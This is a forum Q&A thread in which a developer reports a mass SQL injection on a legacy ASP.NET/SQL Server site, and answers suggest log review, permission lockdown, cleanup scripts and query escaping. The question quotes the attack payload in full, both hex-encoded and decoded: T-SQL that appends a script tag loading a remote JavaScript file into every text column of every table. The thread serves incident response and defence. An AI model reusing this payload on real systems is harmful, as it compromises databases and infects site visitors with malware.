HELP! Production DB was SQL INJECTED!

Question

Possible Duplicate:
My server's been hacked EMERGENCY

Geeze, I'm desperate! A few hours ago our production DB was sql-injected.

I know we have some big holes in the system... because we inherited the website from a guy that did it on classic ASP, his programming was really awful and unsecured. So we spent some time migrating it to ASP.NET (first 1.1, then 2.0 and now 3.5). But it's a big project, and there is still old and unsecure code. I'm not going to lie, the project is a mess, I hate it, but it's our most important client (we are just 2 young guys, not a big company).

So I know they have injected some js script references to my whole db somehow.... It was probably through an old page using concatenated string sql queries and throwing directly into the db (because that guy that starts the project said "Stored procedures doesn't work"..... so he did the whole site using string concatenation, and throwing them directly to the sql without doing any safety validation or anything.

When we got the project, the client didnt want to spend time redoing the crap that the old guy did. So we had to lead to crappy and unsecure code and fixing it while developing new features, because that was what the client wants... and now that we've been sql injected they get crazy of course.

SO....

**Is there any way to check for old the sql queries that have been executed in the last X hours? Something like how SQL Profiler does (but of course we didnt have the profiler open when the attacked happened)? Is there a way to find out which page is the vulnerable one? Please, help, there are a lots of pages. I cannot search through those manually without knowing for sure which one was the page.

Also... could there be another way they could inject the db? Like using an IIS request or js or something?**

I have full Remote desktop access to the server machine (it is not in a hosted environment) so I can access every file, log, whatever on the server...

Please help!

PS: Sorry, my english is not so great, and it's worse now that I'm nervous!

EDIT

• Windows 2003 Server
• SQL SERVER 2005
• ASP .NET 3.5

The script they are throwing is the following

DECLARE @S NVARCHAR(4000);SET @S=CAST(0x4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002C0040004300200076006100720063006800610072002800320035003500290020004400450043004C0041005200450020005400610062006C0065005F0043007500720073006F007200200043005500520053004F005200200046004F0052002000730065006C00650063007400200061002E006E0061006D0065002C0062002E006E0061006D0065002000660072006F006D0020007300790073006F0062006A006500630074007300200061002C0073007900730063006F006C0075006D006E00730020006200200077006800650072006500200061002E00690064003D0062002E0069006400200061006E006400200061002E00780074007900700065003D00270075002700200061006E0064002000280062002E00780074007900700065003D003900390020006F007200200062002E00780074007900700065003D003300350020006F007200200062002E00780074007900700065003D0032003300310020006F007200200062002E00780074007900700065003D00310036003700290020004F00500045004E0020005400610062006C0065005F0043007500720073006F00720020004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C004000430020005700480049004C004500280040004000460045005400430048005F005300540041005400550053003D0030002900200042004500470049004E00200065007800650063002800270075007000640061007400650020005B0027002B00400054002B0027005D00200073006500740020005B0027002B00400043002B0027005D003D0072007400720069006D00280063006F006E007600650072007400280076006100720063006800610072002C005B0027002B00400043002B0027005D00290029002B00270027003C0073006300720069007000740020007300720063003D0068007400740070003A002F002F006600310079002E0069006E002F006A002E006A0073003E003C002F007300630072006900700074003E0027002700270029004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C0040004300200045004E004400200043004C004F005300450020005400610062006C0065005F0043007500720073006F00720020004400450041004C004C004F00430041005400450020005400610062006C0065005F0043007500720073006F007200 AS NVARCHAR(4000));EXEC @S;

Which translated to text is:

DECLARE @T varchar(255), @C varchar(255)
DECLARE Table_Cursor CURSOR FOR 
select a.name,b.name from sysobjects a,syscolumns b 
where a.id=b.id and a.xtype='u' and 
(b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) 
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN 
exec('update [' + @T + '] set [' + @C + ']=rtrim(convert(varchar,[' 
+ @C + '])) + ''<script src=http://f1y.in/j.js></script>''')
FETCH NEXT FROM  Table_Cursor INTO @T,@C 
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor

Answer 1

The first thing to do is not panic. But I see you've skipped that and have decided to

The second thing is to take the site down and make sure it's not accessible from the outside until you can figure out what's broke. Start looking at access logs and try to find out what the main problem is.

The third thing to do is see if you backup your DB regularly and just do a roll back. You might lose some data -but you'll be in a better spot than you are right now

The fourth thing to do is - DO NOT - give out the url because apparently it's unsecure

Answer 2

Definitely make sure to install the newest version of UrlScan--it was pretty much designed to stomp on this sort of attack.

If you have IIS logs, the entry point should be pretty obvious--look for the one the hackers were hammering.

Another good backstop, if at all possible, is to deny INSERT and UPDATE rights to the web user account and punch that through stored procedures instead. That sort of backstop saved us from having a similar problem with a similar legacy app when this was a zero-day attack.

I think you can also remove the PUBLIC user's right to scan tables, which should keep them from doing the "foreach table" style attacks.

Answer 3

As a reference point, this is the work of the ASPRox bot SQL Injection attack. It seems to surface it self now and then because it gets pretty viral when compromised systems are found. You can Google around for "ASPRox bot" and get some additional cleansing methods and further prevention treatments. I just found this PDF file that has a nice overview on its tactics and links to some cleanup options.

The problem is that virus/injection model essentially took every single text field in ALL your database tables and put in a little snippet that calls out to the URL specified to attempt to infect any other web clients and attempt to make them zombies that visit your site.

So make sure to check all databases on that server in question, not just the one with the database involved to do a proper cleansing.

It appears you're on the right path with the suggestions here, but having some "formal" references to the virus name might help with additional needs.

Answer 4

First, you have to shut the site down, to prevent further injection attacks.

Second, you need to do a security audit, to determine what logging you have, and what security is in place on the system, and determine how the attackers got in.

Third, you need to put in place logging and security for those areas where you were compromised, at the very least. Put in place a system for detecting intrusion that informs you immediately (such as a pager).

Fourth, inform management that the downtime is a consequence of their ignoring security.

Answer 5

Check your IIS logs to find out which page they used to do the injection. Needless to say, you need to fix or disable that page quickly.

The best approach depends on the type of site. If at all possible, take the site down until you've restored an untainted database or reversed the changes (that requires detailed logs). Then you can put the site back up in read-only mode until you have time to fix the problem(s). Just restrict the SQL account to SELECT only.

Even when you concatenate query strings, you can be fairly safe with little effort. Searching all ASP files for keywords like SELECT and UPDATE will reveal all the queries. Surround all your parameters with basic sanity checks to start off.

Since you're probably in a hurry, you can take a look at some really old ASP VBScript code of mine. There are a bunch of SafeSqlWhatever functions in there to help you build safe SQL statements. No warranties, it was never intended to be public. However, replacing all the variable inputs with the SqlVar(someValue) function should get you started. You need to remove the single quotes from the rest of your query string, as SqlVar adds them for you. Alternatively, use the functions specific to the type of value you're expecting:

Before:

Conn.Execute("UPDATE posts SET Subject='" & subject & "' WHERE ID=" & id)

After:

Conn.Execute("UPDATE posts SET Subject=" & SafeSqlString(subject) & " WHERE ID=" & SafeSqlNumber(id))

PS: no, this is not the way it should be, but probably the quickest to get things back in working order from where you are now.

Answer 6

Trying to answer the original question about tracking down the query I though about doing it from the other direction, if the server has not been reset, pull all the queries from the query cache, that my show up which query was run - assuming it is still in the cache.

SELECT  ( SUBSTRING(s2.text, (statement_start_offset / 2) + 1, ((CASE WHEN statement_end_offset = -1 THEN (LEN(CONVERT(nvarchar(max),s2.text)) * 2) ELSE statement_end_offset END)- statement_start_offset)/2)) AS sql_statement
    ,execution_count
    ,(total_worker_time / 1000) as total_worker_time_milli_s
    ,(last_worker_time / 1000) as last_worker_time_milli_s
    ,((total_worker_time / execution_count) / 1000) as average_worker_time_milli_s
    ,min_worker_time
    ,max_worker_time
    ,last_execution_time
    ,qp.query_plan
FROM 
    sys.dm_exec_query_stats qs 
    CROSS APPLY sys.dm_exec_sql_text(sql_handle) AS s2  
    CROSS APPLY sys.dm_exec_query_plan(qs.plan_handle) as qp
WHERE
    s2.objectid is null
ORDER BY
    total_worker_time desc

Answer 7

IIS might have some logs that could give you some hints at to what pages were accessed, if you have logging turned on. You can check in the configuration of the website.

Answer 8

I would first make sure the sql user for the application only has read access by default. Add insert/update/delete access to only the tables where it is needed.

Do you need to remove the .js references from the database? We used this script a while back to remove all the .js references for all of our tables. Is is a global find/replace for the database. Enter the .js reference where you see this: PLACE BAD JAVA SCRIPT CODE HERE

DECLARE @T varchar(255),@C varchar(4000)   
DECLARE Table_Cursor1 CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)   
OPEN Table_Cursor1
FETCH NEXT FROM Table_Cursor1 INTO @T,@C WHILE(@@FETCH_STATUS=0)    
BEGIN exec('SELECT [' + @C + '] FROM [' + @T + '] WHERE [' + @C  + '] LIKE ''%.js%'' ')
FETCH NEXT FROM Table_Cursor1 INTO @T,@C END   
CLOSE Table_Cursor1 DEALLOCATE Table_Cursor1    

DECLARE @T varchar(255),@C varchar(4000)    
DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)    
OPEN Table_Cursor    
FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0)    
BEGIN exec('update ['+@T+'] set ['+@C+']=replace(['+@C+'],''PLACE BAD JAVA SCRIPT CODE HERE'','''')')     
FETCH NEXT FROM Table_Cursor INTO @T,@C END      
CLOSE Table_Cursor DEALLOCATE Table_Cursor

Answer 9

What usually happens is that the hacker (which is often a bot) performs a google search for what looks like possible entry points for sql injection (looking for querystrings, by searching for, say "inurl:.aspx?" or "inurl:?id="). and then it automatically tests for injection vulnerability. If you want to find the entry point, it might be a good idea to feed similar queries to google, and see what querystring sites of yours it has indexed.

Moving on, these scripts usually hope that the executing script has access to sysobjects, in which case it can iterate through all the tables in the database, and inject itself into every column. If this has happened (which I guess, otherwise the injection vulnerability could simply be assumed to be where the injected code is), I wrote a script once, that does the same thing, to search the entire database for a given value. it can be found here:

http://pastebay.com/28400

If you don't have any backups (which i'm assuming by your somewhat desperate tone), that script can be used to locate all injected columns, and with a little modification, it could also be used to strip those injections out.

So much for restoring the environment. After that comes the task of making sure it doesn't happen again. You're not in that much of a hurry, whoever injected you probably hit you on random and isn't likely to try it again very soon, but learn a lesson from this and make it a priority issue anyway.

As for securing the site, well, i've already mentioned the google way of getting a hint as to where the vulnerabilities are, but really, it's about time you face the task of moving your sql queries, one by one, to stored procedures, or an OR/M, or something. once you're done with that, you will have come pretty far in tidying up your messy source.

Answer 10

If you know that there are vulnerabilities you should definitely consider using a Web Application Firewall which is a filter running in front of your web server trying to prevent malicious input and known attacks from reaching your application/database. That way you could improve your security ad-hoc without rewriting and checking your legacy application.

This is not a perfect solution but with the given situation it would be a quick way to remedy a bigger amount of security vulnerabilities at once.

Answer 11

I don't know if it's possible or not, but you didn't provide the details knowledgeable people would need to help.

• What is your database engine? (including version numbers)
• What is your web server? (presumably IIS, but what version?)
• What is your favorite... nvm

But specific applications and version numbers of your stack would turn this into a question that someone might be able to answer.

There is nothing in standard SQL that can give you this information, so you're looking for specific-vendor extensions or administration tools.

Answer 12

This is a tough one. For figuring out what the attack was, and what it might've done, I'd look at your IIS logs, not SQL. Depending on the attack, the IIS log may show exactly what the sql-injection was.

If not, I'd immediately turn IIS logging (and SQL logging, and any other logging) up as high as you can. Its possible the attacker is still poking around, and you want to track what he's doing, and start shutting off his access points ASAP.

Good luck!

Answer 13

Get your site down and Start working one every thing once again. Once compromised, entering your system would be a piece of cake.

Any part time solutions are going to make things worse in the future.

Answer 14

You also need to assume that this hacker now has a copy of all the data in your DB. If that includes personal information then you should notify the people in question.